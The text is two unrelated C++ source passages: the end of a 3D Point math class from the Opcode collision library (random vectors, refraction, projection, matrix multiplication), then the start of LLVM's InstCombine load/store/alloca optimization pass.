= P1 - P0; * \endcode * * This compiles fine, although you should have written: * * \code * Point P0,P1 = some 3D points; * Vector3 Delta = P1 - P0; * \endcode * * Subtle things like this are not caught at compile-time, and when you find one in the code, you never know whether it's a mistake * from the author or something you don't get. * * One way to handle it at compile-time would be to use different classes for Point & Vector3, only overloading operator "-" for vectors. * But then, you get a lot of redundant code in thoses classes, and basically it's really a lot of useless work. * * Another way would be to use homogeneous points: w=1 for points, w=0 for vectors. That's why the HPoint class exists. Now, to store * your model's vertices and in most cases, you really want to use Points to save ram. * * \class Point * \author Pierre Terdiman * \version 1.0 */ /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Precompiled Header #include "Stdafx.h" using namespace Opcode; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /** * Creates a positive unit random vector. * \return Self-reference */ /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Point& Point::PositiveUnitRandomVector() { x = UnitRandomFloat(); y = UnitRandomFloat(); z = UnitRandomFloat(); Normalize(); return *this; } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /** * Creates a unit random vector. * \return Self-reference */ /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Point& Point::UnitRandomVector() { x = UnitRandomFloat() - 0.5f; y = UnitRandomFloat() - 0.5f; z = UnitRandomFloat() - 0.5f; Normalize(); return *this; } // Cast operator // WARNING: not inlined Point::operator HPoint() const { return HPoint(x, y, z, 0.0f); } Point& Point::Refract(const Point& eye, const Point& n, float refractindex, Point& refracted) { // Point EyePt = eye position // Point p = current vertex // Point n = vertex normal // Point rv = refracted vector // Eye vector - doesn't need to be normalized Point Env; Env.x = eye.x - x; Env.y = eye.y - y; Env.z = eye.z - z; float NDotE = n|Env; float NDotN = n|n; NDotE /= refractindex; // Refracted vector refracted = n*NDotE - Env*NDotN; return *this; } Point& Point::ProjectToPlane(const Plane& p) { *this-= (p.d + (*this|p.n))*p.n; return *this; } void Point::ProjectToScreen(float halfrenderwidth, float halfrenderheight, const Matrix4x4& mat, HPoint& projected) const { projected = HPoint(x, y, z, 1.0f) * mat; projected.w = 1.0f / projected.w; projected.x*=projected.w; projected.y*=projected.w; projected.z*=projected.w; projected.x *= halfrenderwidth; projected.x += halfrenderwidth; projected.y *= -halfrenderheight; projected.y += halfrenderheight; } void Point::SetNotUsed() { // We use a particular integer pattern : 0xffffffff everywhere. This is a NAN. IR(x) = 0xffffffff; IR(y) = 0xffffffff; IR(z) = 0xffffffff; } BOOL Point::IsNotUsed() const { if(IR(x)!=0xffffffff) return FALSE; if(IR(y)!=0xffffffff) return FALSE; if(IR(z)!=0xffffffff) return FALSE; return TRUE; } Point& Point::Mult(const Matrix3x3& mat, const Point& a) { x = a.x * mat.m[0][0] + a.y * mat.m[0][1] + a.z * mat.m[0][2]; y = a.x * mat.m[1][0] + a.y * mat.m[1][1] + a.z * mat.m[1][2]; z = a.x * mat.m[2][0] + a.y * mat.m[2][1] + a.z * mat.m[2][2]; return *this; } Point& Point::Mult2(const Matrix3x3& mat1, const Point& a1, const Matrix3x3& mat2, const Point& a2) { x = a1.x * mat1.m[0][0] + a1.y * mat1.m[0][1] + a1.z * mat1.m[0][2] + a2.x * mat2.m[0][0] + a2.y * mat2.m[0][1] + a2.z * mat2.m[0][2]; y = a1.x * mat1.m[1][0] + a1.y * mat1.m[1][1] + a1.z * mat1.m[1][2] + a2.x * mat2.m[1][0] + a2.y * mat2.m[1][1] + a2.z * mat2.m[1][2]; z = a1.x * mat1.m[2][0] + a1.y * mat1.m[2][1] + a1.z * mat1.m[2][2] + a2.x * mat2.m[2][0] + a2.y * mat2.m[2][1] + a2.z * mat2.m[2][2]; return *this; } Point& Point::Mac(const Matrix3x3& mat, const Point& a) { x += a.x * mat.m[0][0] + a.y * mat.m[0][1] + a.z * mat.m[0][2]; y += a.x * mat.m[1][0] + a.y * mat.m[1][1] + a.z * mat.m[1][2]; z += a.x * mat.m[2][0] + a.y * mat.m[2][1] + a.z * mat.m[2][2]; return *this; } Point& Point::TransMult(const Matrix3x3& mat, const Point& a) { x = a.x * mat.m[0][0] + a.y * mat.m[1][0] + a.z * mat.m[2][0]; y = a.x * mat.m[0][1] + a.y * mat.m[1][1] + a.z * mat.m[2][1]; z = a.x * mat.m[0][2] + a.y * mat.m[1][2] + a.z * mat.m[2][2]; return *this; } Point& Point::Transform(const Point& r, const Matrix3x3& rotpos, const Point& linpos) { x = r.x * rotpos.m[0][0] + r.y * rotpos.m[0][1] + r.z * rotpos.m[0][2] + linpos.x; y = r.x * rotpos.m[1][0] + r.y * rotpos.m[1][1] + r.z * rotpos.m[1][2] + linpos.y; z = r.x * rotpos.m[2][0] + r.y * rotpos.m[2][1] + r.z * rotpos.m[2][2] + linpos.z; return *this; } Point& Point::InvTransform(const Point& r, const Matrix3x3& rotpos, const Point& linpos) { float sx = r.x - linpos.x; float sy = r.y - linpos.y; float sz = r.z - linpos.z; x = sx * rotpos.m[0][0] + sy * rotpos.m[1][0] + sz * rotpos.m[2][0]; y = sx * rotpos.m[0][1] + sy * rotpos.m[1][1] + sz * rotpos.m[2][1]; z = sx * rotpos.m[0][2] + sy * rotpos.m[1][2] + sz * rotpos.m[2][2]; return *this; }
//===- InstCombineLoadStoreAlloca.cpp -------------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // // This file implements the visit functions for load, store and alloca. // //===----------------------------------------------------------------------===// #include "InstCombineInternal.h" #include "llvm/ADT/MapVector.h" #include "llvm/ADT/SmallString.h" #include "llvm/ADT/Statistic.h" #include "llvm/Analysis/AliasAnalysis.h" #include "llvm/Analysis/Loads.h" #include "llvm/IR/ConstantRange.h" #include "llvm/IR/DataLayout.h" #include "llvm/IR/DebugInfoMetadata.h" #include "llvm/IR/IntrinsicInst.h" #include "llvm/IR/LLVMContext.h" #include "llvm/IR/MDBuilder.h" #include "llvm/IR/PatternMatch.h" #include "llvm/Transforms/InstCombine/InstCombiner.h" #include "llvm/Transforms/Utils/BasicBlockUtils.h" #include "llvm/Transforms/Utils/Local.h" using namespace llvm; using namespace PatternMatch; #define DEBUG_TYPE "instcombine" STATISTIC(NumDeadStore, "Number of dead stores eliminated"); STATISTIC(NumGlobalCopies, "Number of allocas copied from constant global"); /// isOnlyCopiedFromConstantGlobal - Recursively walk the uses of a (derived) /// pointer to an alloca. Ignore any reads of the pointer, return false if we /// see any stores or other unknown uses. If we see pointer arithmetic, keep /// track of whether it moves the pointer (with IsOffset) but otherwise traverse /// the uses. If we see a memcpy/memmove that targets an unoffseted pointer to /// the alloca, and if the source pointer is a pointer to a constant global, we /// can optimize this. static bool isOnlyCopiedFromConstantMemory(AAResults *AA, Value *V, MemTransferInst *&TheCopy, SmallVectorImpl<Instruction *> &ToDelete) { // We track lifetime intrinsics as we encounter them. If we decide to go // ahead and replace the value with the global, this lets the caller quickly // eliminate the markers. SmallVector<std::pair<Value *, bool>, 35> ValuesToInspect; ValuesToInspect.emplace_back(V, false); while (!ValuesToInspect.empty()) { auto ValuePair = ValuesToInspect.pop_back_val(); const bool IsOffset = ValuePair.second; for (auto &U : ValuePair.first->uses()) { auto *I = cast<Instruction>(U.getUser()); if (auto *LI = dyn_cast<LoadInst>(I)) { // Ignore non-volatile loads, they are always ok. if (!LI->isSimple()) return false; continue; } if (isa<BitCastInst>(I) || isa<AddrSpaceCastInst>(I)) { // If uses of the bitcast are ok, we are ok. ValuesToInspect.emplace_back(I, IsOffset); continue; } if (auto *GEP = dyn_cast<GetElementPtrInst>(I)) { // If the GEP has all zero indices, it doesn't offset the pointer. If it // doesn't, it does. ValuesToInspect.emplace_back(I, IsOffset || !GEP->hasAllZeroIndices()); continue; } if (auto *Call = dyn_cast<CallBase>(I)) { // If this is the function being called then we treat it like a load and // ignore it. if (Call->isCallee(&U)) continue; unsigned DataOpNo = Call->getDataOperandNo(&U); bool IsArgOperand = Call->isArgOperand(&U); // Inalloca arguments are clobbered by the call. if (IsArgOperand && Call->isInAllocaArgument(DataOpNo)) return false; // If this is a readonly/readnone call site, then we know it is just a // load (but one that potentially returns the value itself), so we can // ignore it if we know that the value isn't captured. if (Call->onlyReadsMemory() && (Call->use_empty() || Call->doesNotCapture(DataOpNo))) continue; // If this is being passed as a byval argument, the caller is making a // copy, so it is only a read of the alloca. if (IsArgOperand && Call->isByValArgument(DataOpNo)) continue; } // Lifetime intrinsics can be handled by the caller. if (I->isLifetimeStartOrEnd()) { assert(I->use_empty() && "Lifetime markers have no result to use!"); ToDelete.push_back(I); continue; } // If this is isn't our memcpy/memmove, reject it as something we can't // handle. MemTransferInst *MI = dyn_cast<MemTransferInst>(I); if (!MI) return false; // If the transfer is using the alloca as a source of the transfer, then // ignore it since it is a load (unless the transfer is volatile). if (U.getOperandNo() == 1) { if (MI->isVolatile()) return false; continue; } // If we already have seen a copy, reject the second one. if (TheCopy) return false; // If the pointer has been offset from the start of the alloca, we can't // safely handle this. if (IsOffset) return false; // If the memintrinsic isn't using the alloca as the dest, reject it. if (U.getOperandNo() != 0) return false; // If the source of the memcpy/move is not a constant global, reject it. if (!AA->pointsToConstantMemory(MI->getSource())) return false; // Otherwise, the transform is safe. Remember the copy instruction. TheCopy = MI; } } return true; } /// isOnlyCopiedFromConstantGlobal - Return true if the specified alloca is only /// modified by a copy from a constant global. If we can prove this, we can /// replace any uses of the alloca with uses of the global directly. static MemTransferInst * isOnlyCopiedFromConstantMemory(AAResults *AA, AllocaInst *AI, SmallVectorImpl<Instruction *> &ToDelete) { MemTransferInst *TheCopy = nullptr; if (isOnlyCopiedFromConstantMemory(AA, AI, TheCopy, ToDelete)) return TheCopy; return nullptr; } /// Returns true if V is dereferenceable for size of alloca. static bool isDereferenceableForAllocaSize(const Value *V, const AllocaInst *AI, const DataLayout &DL) { if (AI->isArrayAllocation()) return false; uint64_t AllocaSize = DL.getTypeStoreSize(AI->getAllocatedType()); if (!AllocaSize) return false; return isDereferenceableAndAlignedPointer(V, AI->getAlign(), APInt(64, AllocaSize), DL); } static Instruction *simplifyAllocaArraySize(InstCombinerImpl &IC, AllocaInst &AI) { // Check for array size of 1 (scalar allocation). if (!AI.isArrayAllocation()) { // i32 1 is the canonical array size for scalar allocations. if (AI.getArraySize()->getType()->isIntegerTy(32)) return nullptr; // Canonicalize it. return IC.replaceOperand(AI, 0, IC.Builder.getInt32(1)); } // Convert: alloca Ty, C - where C is a constant != 1 into: alloca [C x Ty], 1 if (const ConstantInt *C = dyn_cast<ConstantInt>(AI.getArraySize())) { if (C->getValue().getActiveBits() <= 64) { Type *NewTy = ArrayType::get(AI.getAllocatedType(), C->getZExtValue()); AllocaInst *New = IC.Builder.CreateAlloca(NewTy, AI.getAddressSpace(), nullptr, AI.getName()); New->setAlignment(AI.getAlign()); // Scan to the end of the allocation instructions, to skip over a block of // allocas if possible...also skip interleaved debug info // BasicBlock::iterator It(New); while (isa<AllocaInst>(*It) || isa<DbgInfoIntrinsic>(*It)) ++It; // Now that I is pointing to the first non-allocation-inst in the block, // insert our getelementptr instruction... // Type *IdxTy = IC.getDataLayout().getIntPtrType(AI.getType()); Value *NullIdx = Constant::getNullValue(IdxTy); Value *Idx[2] = {NullIdx, NullIdx}; Instruction *GEP = GetElementPtrInst::CreateInBounds( NewTy, New, Idx, New->getName() + ".sub"); IC.InsertNewInstBefore(GEP, *It); // Now make everything use the getelementptr instead of the original // allocation. return IC.replaceInstUsesWith(AI, GEP); } } if (isa<UndefValue>(AI.getArraySize())) return IC.replaceInstUsesWith(AI, Constant::getNullValue(AI.getType())); // Ensure that the alloca array size argument has type intptr_t, so that // any casting is exposed early. Type *IntPtrTy = IC.getDataLayout().getIntPtrType(AI.getType()); if (AI.getArraySize()->getType() != IntPtrTy) { Value *V = IC.Builder.CreateIntCast(AI.getArraySize(), IntPtrTy, false); return IC.replaceOperand(AI, 0, V); } return nullptr; } namespace { // If I and V are pointers in different address space, it is not allowed to // use replaceAllUsesWith since I and V have different types. A // non-target-specific transformation should not use addrspacecast on V since // the two address space may be disjoint depending on target. // // This class chases down uses of the old pointer until reaching the load // instructions, then replaces the old pointer in the load instructions with // the new pointer. If during the chasing it sees bitcast or GEP, it will // create new bitcast or GEP with the new pointer and use them in the load // instruction. class PointerReplacer { public: PointerReplacer(InstCombinerImpl &IC) : IC(IC) {} bool collectUsers(Instruction &I); void replacePointer(Instruction &I, Value *V); private: void replace(Instruction *I); Value *getReplacement(Value *I); SmallSetVector<Instruction *, 4> Worklist; MapVector<Value *, Value *> WorkMap; InstCombinerImpl &IC; }; } // end anonymous namespace bool PointerReplacer::collectUsers(Instruction &I) { for (auto U : I.users()) { auto *Inst = cast<Instruction>(&*U); if (auto *Load = dyn_cast<LoadInst>(Inst)) { if (Load->isVolatile()) return false; Worklist.insert(Load); } else if (isa<GetElementPtrInst>(Inst) || isa<BitCastInst>(Inst)) { Worklist.insert(Inst); if (!collectUsers(*Inst)) return false; } else if (auto *MI = dyn_cast<MemTransferInst>(Inst)) { if (MI->isVolatile()) return false; Worklist.insert(Inst); } else if (Inst->isLifetimeStartOrEnd()) { continue; } else { LLVM_DEBUG(dbgs() << "Cannot handle pointer user: " << *U << '\n'); return false; } } return true; } Value *PointerReplacer::getReplacement(Value *V) { return WorkMap.lookup(V); } void PointerReplacer::replace(Instruction *I) { if (getReplacement(I)) return; if (auto *LT = dyn_cast<LoadInst>(I)) { auto *V = getReplacement(LT->getPointerOperand()); assert(V && "Operand not replaced"); auto *NewI = new LoadInst(LT->getType(), V, "", LT->isVolatile(), LT->getAlign(), LT->getOrdering(), LT->getSyncScopeID()); NewI->takeName(LT); copyMetadataForLoad(*NewI, *LT); IC.InsertNewInstWith(NewI, *LT); IC.replaceInstUsesWith(*LT, NewI); WorkMap[LT] = NewI; } else if (auto *GEP = dyn_cast<GetElementPtrInst>(I)) { auto *V = getReplacement(GEP->getPointerOperand()); assert(V && "Operand not replaced"); SmallVector<Value *, 8> Indices; Indices.append(GEP->idx_begin(), GEP->idx_end()); auto *NewI = GetElementPtrInst::Create(GEP->getSourceElementType(), V, Indices); IC.InsertNewInstWith(NewI, *GEP); NewI->takeName(GEP); WorkMap[GEP] = NewI; } else if (auto *BC = dyn_cast<BitCastInst>(I)) { auto *V = getReplacement(BC->getOperand(0)); assert(V && "Operand not replaced"); auto *NewT = PointerType::getWithSamePointeeType( cast<PointerType>(BC->getType()), V->getType()->getPointerAddressSpace()); auto *NewI = new BitCastInst(V, NewT); IC.InsertNewInstWith(NewI, *BC); NewI->takeName(BC); WorkMap[BC] = NewI; } else if (auto *MemCpy = dyn_cast<MemTransferInst>(I)) { auto *SrcV = getReplacement(MemCpy->getRawSource()); // The pointer may appear in the destination of a copy, but we don't want to // replace it. if (!SrcV) { assert(getReplacement(MemCpy->getRawDest()) && "destination not in replace list"); return; } IC.Builder.SetInsertPoint(MemCpy); auto *NewI = IC.Builder.CreateMemTransferInst( MemCpy->getIntrinsicID(), MemCpy->getRawDest(), MemCpy->getDestAlign(), SrcV, MemCpy->getSourceAlign(), MemCpy->getLength(), MemCpy->isVolatile()); AAMDNodes AAMD = MemCpy->getAAMetadata(); if (AAMD) NewI->setAAMetadata(AAMD); IC.eraseInstFromFunction(*MemCpy); WorkMap[MemCpy] = NewI; } else { llvm_unreachable("should never reach here"); } } void PointerReplacer::replacePointer(Instruction &I, Value *V) { #ifndef NDEBUG auto *PT = cast<PointerType>(I.getType()); auto *NT = cast<PointerType>(V->getType()); assert(PT != NT && PT->hasSameElementTypeAs(NT) && "Invalid usage"); #endif WorkMap[&I] = V; for (Instruction *Workitem : Worklist) replace(Workitem); } Instruction *InstCombinerImpl::visitAllocaInst(AllocaInst &AI) { if (auto *I = simplifyAllocaArraySize(*this, AI)) return I; if (AI.getAllocatedType()->isSized()) { // Move all alloca's of zero byte objects to the entry block and merge them // together. Note that we only do this for alloca's, because malloc should // allocate and return a unique pointer, even for a zero byte allocation. if (DL.getTypeAllocSize(AI.getAllocatedType()).getKnownMinSize() == 0) { // For a zero sized alloca there is no point in doing an array allocation. // This is helpful if the array size is a complicated expression not used // elsewhere. if (AI.isArrayAllocation()) return replaceOperand(AI, 0, ConstantInt::get(AI.getArraySize()->getType(), 1)); // Get the first instruction in the entry block. BasicBlock &EntryBlock = AI.getParent()->getParent()->getEntryBlock(); Instruction *FirstInst = EntryBlock.getFirstNonPHIOrDbg(); if (FirstInst != &AI) { // If the entry block doesn't start with a zero-size alloca then move // this one to the start of the entry block. There is no problem with // dominance as the array size was forced to a constant earlier already. AllocaInst *EntryAI = dyn_cast<AllocaInst>(FirstInst); if (!EntryAI || !EntryAI->getAllocatedType()->isSized() || DL.getTypeAllocSize(EntryAI->getAllocatedType()) .getKnownMinSize() != 0) { AI.moveBefore(FirstInst); return &AI; } // Replace this zero-sized alloca with the one at the start of the entry // block after ensuring that the address will be aligned enough for both // types. const Align MaxAlign = std::max(EntryAI->getAlign(), AI.getAlign()); EntryAI->setAlignment(MaxAlign); if (AI.getType() != EntryAI->getType()) return new BitCastInst(EntryAI, AI.getType()); return replaceInstUsesWith(AI, EntryAI); } } } // Check to see if this allocation is only modified by a memcpy/memmove from // a constant whose alignment is equal to or exceeds that of the allocation. // If this is the case, we can change all users to use the constant global // instead. This is commonly produced by the CFE by constructs like "void // foo() { int A[] = {1,2,3,4,5,6,7,8,9...}; }" if 'A' is only subsequently // read. SmallVector<Instruction *, 4> ToDelete; if (MemTransferInst *Copy = isOnlyCopiedFromConstantMemory(AA, &AI, ToDelete)) { Value *TheSrc = Copy->getSource(); Align AllocaAlign = AI.getAlign(); Align SourceAlign = getOrEnforceKnownAlignment( TheSrc, AllocaAlign, DL, &AI, &AC, &DT); if (AllocaAlign <= SourceAlign && isDereferenceableForAllocaSize(TheSrc, &AI, DL) && !isa<Instruction>(TheSrc)) { // FIXME: Can we sink instructions without violating dominance when TheSrc // is an instruction instead of a constant or argument? LLVM_DEBUG(dbgs() << "Found alloca equal to global: " << AI << '\n'); LLVM_DEBUG(dbgs() << " memcpy = " << *Copy << '\n'); unsigned SrcAddrSpace = TheSrc->getType()->getPointerAddressSpace(); auto *DestTy = PointerType::get(AI.getAllocatedType(), SrcAddrSpace); if (AI.getType()->getAddressSpace() == SrcAddrSpace) { for (Instruction *Delete : ToDelete) eraseInstFromFunction(*Delete); Value *Cast = Builder.CreateBitCast(TheSrc, DestTy); Instruction *NewI = replaceInstUsesWith(AI, Cast); eraseInstFromFunction(*Copy); ++NumGlobalCopies; return NewI; } PointerReplacer PtrReplacer(*this); if (PtrReplacer.collectUsers(AI)) { for (Instruction *Delete : ToDelete) eraseInstFromFunction(*Delete); Value *Cast = Builder.CreateBitCast(TheSrc, DestTy); PtrReplacer.replacePointer(AI, Cast); ++NumGlobalCopies; } } } // At last, use the generic allocation site handler to aggressively remove // unused allocas. return visitAllocSite(AI); } // Are we allowed to form a atomic load or store of this type? static bool isSupportedAtomicType(Type *Ty) { return Ty->isIntOrPtrTy() || Ty->isFloatingPointTy(); } /// Helper to combine a load to a new type. /// /// This just does the work of combining a load to a new type. It handles /// metadata, etc., and returns the new instruction. The \c NewTy should be the /// loaded *value* type. This will convert it to a pointer, cast the operand to /// that pointer type, load it, etc. /// /// Note that this will create all of the instructions with whatever insert /// point the \c InstCombinerImpl currently is using. LoadInst *InstCombinerImpl::combineLoadToNewType(LoadInst &LI, Type *NewTy, const Twine &Suffix) { assert((!LI.isAtomic() || isSupportedAtomicType(NewTy)) && "can't fold an atomic load to requested type"); Value *Ptr = LI.getPointerOperand(); unsigned AS = LI.getPointerAddressSpace(); Type *NewPtrTy = NewTy->getPointerTo(AS); Value *NewPtr = nullptr; if (!(match(Ptr, m_BitCast(m_Value(NewPtr))) && NewPtr->getType() == NewPtrTy)) NewPtr = Builder.CreateBitCast(Ptr, NewPtrTy); LoadInst *NewLoad = Builder.CreateAlignedLoad( NewTy, NewPtr, LI.getAlign(), LI.isVolatile(), LI.getName() + Suffix); NewLoad->setAtomic(LI.getOrdering(), LI.getSyncScopeID()); copyMetadataForLoad(*NewLoad, LI); return NewLoad; } /// Combine a store to a new type. /// /// Returns the newly created store instruction. static StoreInst *combineStoreToNewValue(InstCombinerImpl &IC, StoreInst &SI, Value *V) { assert((!SI.isAtomic() || isSupportedAtomicType(V->getType())) && "can't fold an atomic store of requested type"); Value *Ptr = SI.getPointerOperand(); unsigned AS = SI.getPointerAddressSpace(); SmallVector<std::pair<unsigned, MDNode *>, 8> MD; SI.getAllMetadata(MD); StoreInst *NewStore = IC.Builder.CreateAlignedStore( V, IC.Builder.CreateBitCast(Ptr, V->getType()->getPointerTo(AS)), SI.getAlign(), SI.isVolatile()); NewStore->setAtomic(SI.getOrdering(), SI.getSyncScopeID()); for (const auto &MDPair : MD) { unsigned ID = MDPair.first; MDNode *N = MDPair.second; // Note, essentially every kind of metadata should be preserved here! This // routine is supposed to clone a store instruction changing *only its // type*. The only metadata it makes sense to drop is metadata which is // invalidated when the pointer type changes. This should essentially // never be the case in LLVM, but we explicitly switch over only known // metadata to be conservatively correct. If you are adding metadata to // LLVM which pertains to stores, you almost certainly want to add it // here. switch (ID) { case LLVMContext::MD_dbg: case LLVMContext::MD_tbaa: case LLVMContext::MD_prof: case LLVMContext::MD_fpmath: case LLVMContext::MD_tbaa_struct: case LLVMContext::MD_alias_scope: case LLVMContext::MD_noalias: case LLVMContext::MD_nontemporal: case LLVMContext::MD_mem_parallel_loop_access: case LLVMContext::MD_access_group: // All of these directly apply. NewStore->setMetadata(ID, N); break; case LLVMContext::MD_invariant_load: case LLVMContext::MD_nonnull: case LLVMContext::MD_noundef: case LLVMContext::MD_range: case LLVMContext::MD_align: case LLVMContext::MD_dereferenceable: case LLVMContext::MD_dereferenceable_or_null: // These don't apply for stores. break; } } return NewStore; } /// Returns true if instruction represent minmax pattern like: /// select ((cmp load V1, load V2), V1, V2). static bool isMinMaxWithLoads(Value *V, Type *&LoadTy) { assert(V->getType()->isPointerTy() && "Expected pointer type."); // Ignore possible ty* to ixx* bitcast. V = InstCombiner::peekThroughBitcast(V); // Check that select is select ((cmp load V1, load V2), V1, V2) - minmax // pattern. CmpInst::Predicate Pred; Instruction *L1; Instruction *L2; Value *LHS; Value *RHS; if (!match(V, m_Select(m_Cmp(Pred, m_Instruction(L1), m_Instruction(L2)), m_Value(LHS), m_Value(RHS)))) return false; LoadTy = L1->getType(); return (match(L1, m_Load(m_Specific(LHS))) && match(L2, m_Load(m_Specific(RHS)))) || (match(L1, m_Load(m_Specific(RHS))) && match(L2, m_Load(m_Specific(LHS)))); } /// Combine loads to match the type of their uses' value after looking /// through intervening bitcasts. /// /// The core idea here is that if the result of a load is used in an operation, /// we should load the type most conducive to that operation. For example, when /// loading an integer and converting that immediately to a pointer, we should /// instead directly load a pointer. /// /// However, this routine must never change the width of a load or the number of /// loads as that would introduce a semantic change. This combine is expected to /// be a semantic no-op which just allows loads to more closely model the types /// of their consuming operations. /// /// Currently, we also refuse to change the precise type used for an atomic load /// or a volatile load. This is debatable, and might be reasonable to change /// later. However, it is risky in case some backend or other part of LLVM is /// relying on the exact type loaded to select appropriate atomic operations. static Instruction *combineLoadToOperationType(InstCombinerImpl &IC, LoadInst &LI) { // FIXME: We could probably with some care handle both volatile and ordered // atomic loads here but it isn't clear that this is important. if (!LI.isUnordered()) return nullptr; if (LI.use_empty()) return nullptr; // swifterror values can't be bitcasted. if (LI.getPointerOperand()->isSwiftError()) return nullptr; const DataLayout &DL = IC.getDataLayout(); // Fold away bit casts of the loaded value by loading the desired type. // Note that we should not do this for pointer<->integer casts, // because that would result in type punning. if (LI.hasOneUse()) { // Don't transform when the type is x86_amx, it makes the pass that lower // x86_amx type happy. if (auto *BC = dyn_cast<BitCastInst>(LI.user_back())) { assert(!LI.getType()->isX86_AMXTy() && "load from x86_amx* should not happen!"); if (BC->getType()->isX86_AMXTy()) return nullptr; } if (auto* CI = dyn_cast<CastInst>(LI.user_back())) if (CI->isNoopCast(DL) && LI.getType()->isPtrOrPtrVectorTy() == CI->getDestTy()->isPtrOrPtrVectorTy()) if (!LI.isAtomic() || isSupportedAtomicType(CI->getDestTy())) { LoadInst *NewLoad = IC.combineLoadToNewType(LI, CI->getDestTy()); CI->replaceAllUsesWith(NewLoad); IC.eraseInstFromFunction(*CI); return &LI; } } // FIXME: We should also canonicalize loads of vectors when their elements are // cast to other types. return nullptr; } static Instruction *unpackLoadToAggregate(InstCombinerImpl &IC, LoadInst &LI) { // FIXME: We could probably with some care handle both volatile and atomic // stores here but it isn't clear that this is important. if (!LI.isSimple()) return nullptr; Type *T = LI.getType(); if (!T->isAggregateType()) return nullptr; StringRef Name = LI.getName(); if (auto *ST = dyn_cast<StructType>(T)) { // If the struct only have one element, we unpack. auto NumElements = ST->getNumElements(); if (NumElements == 1) { LoadInst *NewLoad = IC.combineLoadToNewType(LI, ST->getTypeAtIndex(0U), ".unpack"); NewLoad->setAAMetadata(LI.getAAMetadata()); return IC.replaceInstUsesWith(LI, IC.Builder.CreateInsertValue( UndefValue::get(T), NewLoad, 0, Name)); } // We don't want to break loads with padding here as we'd loose // the knowledge that padding exists for the rest of the pipeline. const DataLayout &DL = IC.getDataLayout(); auto *SL = DL.getStructLayout(ST); if (SL->hasPadding()) return nullptr; const auto Align = LI.getAlign(); auto *Addr = LI.getPointerOperand(); auto *IdxType = Type::getInt32Ty(T->getContext()); auto *Zero = ConstantInt::get(IdxType, 0); Value *V = UndefValue::get(T); for (unsigned i = 0; i < NumElements; i++) { Value *Indices[2] = { Zero, ConstantInt::get(IdxType, i), }; auto *Ptr = IC.Builder.CreateInBoundsGEP(ST, Addr, makeArrayRef(Indices), Name + ".elt"); auto *L = IC.Builder.CreateAlignedLoad( ST->getElementType(i), Ptr, commonAlignment(Align, SL->getElementOffset(i)), Name + ".unpack"); // Propagate AA metadata. It'll still be valid on the narrowed load. L->setAAMetadata(LI.getAAMetadata()); V = IC.Builder.CreateInsertValue(V, L, i); } V->setName(Name); return IC.replaceInstUsesWith(LI, V); } if (auto *AT = dyn_cast<ArrayType>(T)) { auto *ET = AT->getElementType(); auto NumElements = AT->getNumElements(); if (NumElements == 1) { LoadInst *NewLoad = IC.combineLoadToNewType(LI, ET, ".unpack"); NewLoad->setAAMetadata(LI.getAAMetadata()); return IC.replaceInstUsesWith(LI, IC.Builder.CreateInsertValue( UndefValue::get(T), NewLoad, 0, Name)); } // Bail out if the array is too large. Ideally we would like to optimize // arrays of arbitrary size but this has a terrible impact on compile time. // The threshold here is chosen arbitrarily, maybe needs a little bit of // tuning. if (NumElements > IC.MaxArraySizeForCombine) return nullptr; const DataLayout &DL = IC.getDataLayout(); auto EltSize = DL.getTypeAllocSize(ET); const auto Align = LI.getAlign(); auto *Addr = LI.getPointerOperand(); auto *IdxType = Type::getInt64Ty(T->getContext()); auto *Zero = ConstantInt::get(IdxType, 0); Value *V = UndefValue::get(T); uint64_t Offset = 0; for (uint64_t i = 0; i < NumElements; i++) { Value *Indices[2] = { Zero, ConstantInt::get(IdxType, i), }; auto *Ptr = IC.Builder.CreateInBoundsGEP(AT, Addr, makeArrayRef(Indices), Name + ".elt"); auto *L = IC.Builder.CreateAlignedLoad(AT->getElementType(), Ptr, commonAlignment(Align, Offset), Name + ".unpack"); L->setAAMetadata(LI.getAAMetadata()); V = IC.Builder.CreateInsertValue(V, L, i); Offset += EltSize; } V->setName(Name); return IC.replaceInstUsesWith(LI, V); } return nullptr; } // If we can determine that all possible objects pointed to by the provided // pointer value are, not only dereferenceable, but also definitively less than // or equal to the provided maximum size, then return true. Otherwise, return // false (constant global values and allocas fall into this category). // // FIXME: This should probably live in ValueTracking (or similar). static bool isObjectSizeLessThanOrEq(Value *V, uint64_t MaxSize, const DataLayout &DL) { SmallPtrSet<Value *, 4> Visited; SmallVector<Value *, 4> Worklist(1, V); do { Value *P = Worklist.pop_back_val(); P = P->stripPointerCasts(); if (!Visited.insert(P).second) continue; if (SelectInst *SI = dyn_cast<SelectInst>(P)) { Worklist.push_back(SI->getTrueValue()); Worklist.push_back(SI->getFalseValue()); continue; } if (PHINode *PN = dyn_cast<PHINode>(P)) { append_range(Worklist, PN->incoming_values()); continue; } if (GlobalAlias *GA = dyn_cast<GlobalAlias>(P)) { if (GA->isInterposable()) return false; Worklist.push_back(GA->getAliasee()); continue; } // If we know how big this object is, and it is less than MaxSize, continue // searching. Otherwise, return false. if (AllocaInst *AI = dyn_cast<AllocaInst>(P)) { if (!AI->getAllocatedType()->isSized()) return false; ConstantInt *CS = dyn_cast<ConstantInt>(AI->getArraySize()); if (!CS) return false; uint64_t TypeSize = DL.getTypeAllocSize(AI->getAllocatedType()); // Make sure that, even if the multiplication below would wrap as an // uint64_t, we still do the right thing. if ((CS->getValue().zextOrSelf(128)*APInt(128, TypeSize)).ugt(MaxSize)) return false; continue; } if (GlobalVariable *GV = dyn_cast<GlobalVariable>(P)) { if (!GV->hasDefinitiveInitializer() || !GV->isConstant()) return false; uint64_t InitSize = DL.getTypeAllocSize(GV->getValueType()); if (InitSize > MaxSize) return false; continue; } return false; } while (!Worklist.empty()); return true; } // If we're indexing into an object of a known size, and the outer index is // not a constant, but having any value but zero would lead to undefined // behavior, replace it with zero. // // For example, if we have: // @f.a = private unnamed_addr constant [1 x i32] [i32 12], align 4 // ... // 